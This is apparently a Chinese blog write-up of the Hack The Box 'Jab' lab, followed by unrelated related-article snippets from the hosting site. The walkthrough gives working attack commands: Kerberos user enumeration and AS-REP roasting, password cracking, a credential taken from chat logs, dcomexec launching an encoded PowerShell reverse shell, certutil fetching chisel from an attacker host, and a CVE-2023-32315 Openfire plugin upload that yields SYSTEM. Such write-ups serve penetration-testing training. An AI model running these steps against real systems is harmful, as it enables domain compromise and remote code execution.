Hack The Box-Jab

总体思路

端口扫描->访问Jabber服务(自建用户)->john解密->访问Jabber服务(服务器用户)->获取用户权限->端口转发openfire后台管理界面->上传CVE-2023-32315插件->获取system权限

信息收集&端口利用

nmap 10.10.11.4

在这里插入图片描述

发现没有开放常用端口,开放了445端口,考虑使用kerbrute对目标域名进行扫描

./kerbrute userenum --dc 10.10.11.4 -d jab.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

在这里插入图片描述

扫描一会后,发现用户名数量非常庞大,一时半会结束不了,先进行下一步

注意到开放的端口还有5222、5269、7070、7443等,其中5222端口经过查询后为jabber服务的端口、7070端口为openfire服务的端口

在这里插入图片描述

Openfire服务存在一个管理界面,默认端口为9090,这里访问不了,猜测需要进入内网将端口转发出来后利用,因此先利用5222端口的Jabber服务

Jabber服务

Jabber 是著名的Linux即时通讯服务服务器,它是一个自由开源软件,能让用户自己架即时通讯服务器,可以在Internet上应用,也可以在局域网中应用。Jabber最有优势的就是其通信协议,可以和多种即时通讯对接

在Linux上使用Jabber服务需要安装pidgin客户端

apt-get install pidgin

在命令行输入pidgin启动客户端

在这里插入图片描述

第一次进入客户端时,我们需要注册一个用户,点击Accounts->Manage Accounts->Add

在这里插入图片描述

在这里插入图片描述

Jabber服务是和XMPP服务相关联的,协议选择XMPP,此处的账户名和密码为登录到jab.htb的账户和密码,并且在advanced中设置好目标靶机的ip地址,首次登录我们没有账户信息,因此需要勾选底下的新建账户选项,点击确认后,在注册界面填入刚刚的信息

在这里插入图片描述

在这里插入图片描述

注册完成后,点击Accounts->Enable Account->connan@jab.htb就能够进入到该角色中

点击Buddies->Join a chat加入一个聊天室

在这里插入图片描述

在这里插入图片描述

图中的room名称随意,password为刚刚设置的密码

在这里插入图片描述

进入到聊天室,但是里面没有任何信息,需要搜索与该用户相关的聊天室

在这里插入图片描述

先在tools模块中添加插件

在这里插入图片描述

将XMPP模块相关内容勾选上,然后选择XMPP服务发现

在这里插入图片描述

在这里插入图片描述

点击Browse

在这里插入图片描述

能显示出除了connan以外,还有test和test2聊天室,双击添加查看

在这里插入图片描述

在这里插入图片描述

test聊天室无法访问,test2聊天室只有一段base64的编码,但是也给了我们提示信息,有一个bdavis用户,于是想到查看还有什么用户

在这里插入图片描述

选择search for users

在这里插入图片描述

*号查找所有用户

在这里插入图片描述

下一步需要导出这些用户名,先打开tools中的XMPP Console,然后再进行搜索用户,这样搜索的文件就能被记录下来

在这里插入图片描述

在这里插入图片描述

将文件内容复制出来,使用正则表达式对其中内容进行筛选,使其只显示出用户名

grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' output.txt | sed 's/@jab.htb//g' | sort | uniq > user.txt

grep: 这是一个搜索工具,用于在文件中搜索匹配的行。
-o:只输出匹配的部分,而不是整行。
-P:使用 Perl 兼容的正则表达式。
‘< value >\K[^<]+@jab.htb(?=< /value >)’:这是一个Perl兼容的正则表达式,用于匹配< value >标签内的内容,并提取 @jab.htb 之前的部分。\K是重置匹配开始位置的操作符,意味着匹配结果从\K 之后的部分开始。
|:管道操作符,用于将一个命令的输出作为另一个命令的输入。
sed:一个流编辑器,用于对输入流(或文件)进行基本的文本转换。
‘s/@jab.htb//g’: 这是一个sed命令,用于替换文本,这里它将所有的@jab.htb替换为空字符串(即删除它)。
sort:这是一个排序工具,用于对输入行进行排序。
uniq:这是一个用于报告或省略重复行的工具。它默认只输出唯一的行。

在这里插入图片描述

在输出了所有用户名之后,使用impacket模块中的GetNPUsers功能来筛选出所有不需要”Kerberos预身份验证”的用户

impacket-GetNPUsers jab.htb/ -usersfile user.txt -outputfile outputusers.txt -dc-ip 10.10.11.4 -no-pass

运行完成后,在outputusers.txt文件中会有三行数据

在这里插入图片描述

使用john来破解它(此处不知道为什么编者的hashcat的18200模块破解不出来)

在这里插入图片描述

破解出了jmontgomery用户的密码,用此用户登录到Jabber

在这里插入图片描述

进入pentest2003聊天室,通过查阅聊天记录我们能看到svc_openfire用户的登录凭据为
!@#$%^&*(1qazxsw

在这里插入图片描述

因为目标靶机没有开放5985端口,因此不能使用evil-winrm来登录,这里使用impacket包中的dcomexec进行登录并执行命令

impacket-dcomexec -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'cmd.exe /c powershell -e [revshell_in_base64]' -silentcommand

其中[revshell_in_base64]内容为base64编码后的revshell代码

在这里插入图片描述

在这里插入图片描述

拿到用户权限

权限提升

前面提到Openfire还有一个处于内网的9090管理界面,这里先上传chisel将9090端口转发出来

certutil.exe -urlcache -split -f http://10.10.XX.XX:XXXX/chisel.exe

客户端和服务器端分别运行chisel

在这里插入图片描述

在这里插入图片描述

转发成功后,访问本地的9090端口

在这里插入图片描述

使用svc_openfire/!@#$%^&*(1qazxsw登录进界面

在这里插入图片描述

搜索Openfire相关漏洞,注意到存在CVE-2023-32315,下载压缩包文件后,根据github上的说明,使用mvn生成jar文件

mvn clean package

在这里插入图片描述

在插件处上传jar包文件

在这里插入图片描述

在这里插入图片描述

上传完成后,在server->server-settings访问shell plugin插件

在这里插入图片描述

在这里插入图片描述

密码为123,在右上角选择系统命令

在这里插入图片描述

执行whoami后发现是system权限

在这里插入图片描述

使用cmd执行powershell来反弹shell

cmd.exe /c powershell -e [revshell_in_base64]

在这里插入图片描述

提权成功

PS:因为着急下班所以写的有点匆忙,明天会把细节补上(悲

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/492825.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Flink CDC(一)】实现mysql整表与增量读取

文章目录 一. 运行前准备1. 依赖1.1. Maven dependency1.2. SQL Client JAR&#xff08;推荐&#xff09; 2. 配置 MySQL 服务器&#xff08;必须&#xff09; 二. 功能说明1. 启动模式2. 全量阶段支持 checkpoint3. 关于无主键表Exactly-Once 处理 三. 实战1. 实现mysql整表与…

Python爬虫-付费代理推荐和使用

付费代理的使用 相对免费代理来说&#xff0c;付费代理的稳定性更高。本节将介绍爬虫付费代理的相关使用过程。 1. 付费代理分类 付费代理分为两类&#xff1a; 一类提供接口获取海量代理&#xff0c;按天或者按量收费&#xff0c;如讯代理。 一类搭建了代理隧道&#xff0…

nginx高级配置详解

目录 一、网页的状态页 1、状态页的基本配置 2、搭配验证模块使用 3、结合白名单使用 二、nginx 第三方模块 1、echo模块 1.1 编译安装echo模块 1.2 配置echo模块 三、nginx变量 1、内置变量 2、自定义变量 四、自定义图标 五、自定义访问日志 1、自定义日志格式…

基于Java SSM框架实现高考填报信息系统项目【项目源码】

基于java的SSM框架实现高考填报信息系统演示 JAVA简介 Java主要采用CORBA技术和安全模型&#xff0c;可以在互联网应用的数据保护。它还提供了对EJB&#xff08;Enterprise JavaBeans&#xff09;的全面支持&#xff0c;java servlet API&#xff0c;JSP&#xff08;java serv…

hot100刷题记录-哈希

一、两数之和 题目&#xff1a;https://leetcode.cn/problems/two-sum/description/?envTypestudy-plan-v2&envIdtop-100-liked 方法1&#xff1a;枚举 class Solution:def twoSum(self, nums: List[int], target: int) -> List[int]:for id, num in enumerate(nums)…

C++ //练习 8.4 编写函数,以读模式打开一个文件,将其内容读入到一个string的vector中,将每一行作为一个独立的元素存于vector中。

C Primer&#xff08;第5版&#xff09; 练习 8.4 练习 8.4 编写函数&#xff0c;以读模式打开一个文件&#xff0c;将其内容读入到一个string的vector中&#xff0c;将每一行作为一个独立的元素存于vector中。 环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09…

多条件查询展开收起

顶部筛选条件很多时&#xff0c;就需要对赛选条件进行分组&#xff0c;每组都要有展开收起&#xff0c;根据页面自定义&#xff0c;还需要显示收起查询中有几条查询中的内容 思路&#xff1a; 封装一个组件&#xff0c;利用插槽自定义查询条件和分组 // 子组件 <script se…

智能枪弹柜管理系统-智能枪弹管理系统DW-S306

随着社会的发展和治安形势的日益严峻&#xff0c;对于枪弹的管理变得尤为重要。传统的手工记录和存放方式已经无法满足现代化、高效化、安全化的需求。因此&#xff0c;智能枪弹柜管理系统应运而 生。 在建设万兆主干、千兆终端的监控专网的基础上&#xff0c;弹药库安全技术…

MySQL数据库进阶第四篇(视图/存储过程/触发器)

文章目录 一、视图简单介绍与基础语法二、视图的检查选项三、视图的更新四、视图的作用五、存储过程的概念与特点六、存储过程的 创建&#xff0c;调用&#xff0c;查看&#xff0c;删除七、存储过程 — 系统变量八、存储过程 — 用户定义变量九、存储过程 — 局部变量十、存储…

最便宜也能最安全:Positive SSL证书

PositiveSSL证书的优势 价格实惠&#xff1a;相较于其他品牌的SSL证书&#xff0c;PositiveSSL证书的价格更为亲民。这使得小型企业和个人网站也能够轻松采用SSL加密技术&#xff0c;提高网站的安全性。安全性能可靠&#xff1a;虽然价格便宜&#xff0c;但PositiveSSL证书在安…

CMake和VsCode调试的使用

目录 CMake使用 CMake下载 创建系统文件目录 MakeList编写规范 VsCode启动调试 添加配置文件 添加断点&#xff0c;启动调试 CMake使用 CMake下载 输入指令 sudo apt install cmake 安装cmake&#xff0c;使用 cmake -version可查看cmake的版本信息 创建系统文件目…

unity导航网格无法烘培到台阶和斜坡

如图是我在b站学Unity导航网格时建的一个示例场景&#xff0c;本场景使用的为棱长1m的立方体&#xff0c;读者可以以此为参照度量其他物体大小。 可见导航网格根本无法烘焙到斜坡和台阶上&#xff0c;为解决问题我做了不少尝试&#xff0c;调整最大坡度和步高都没办法解决问题…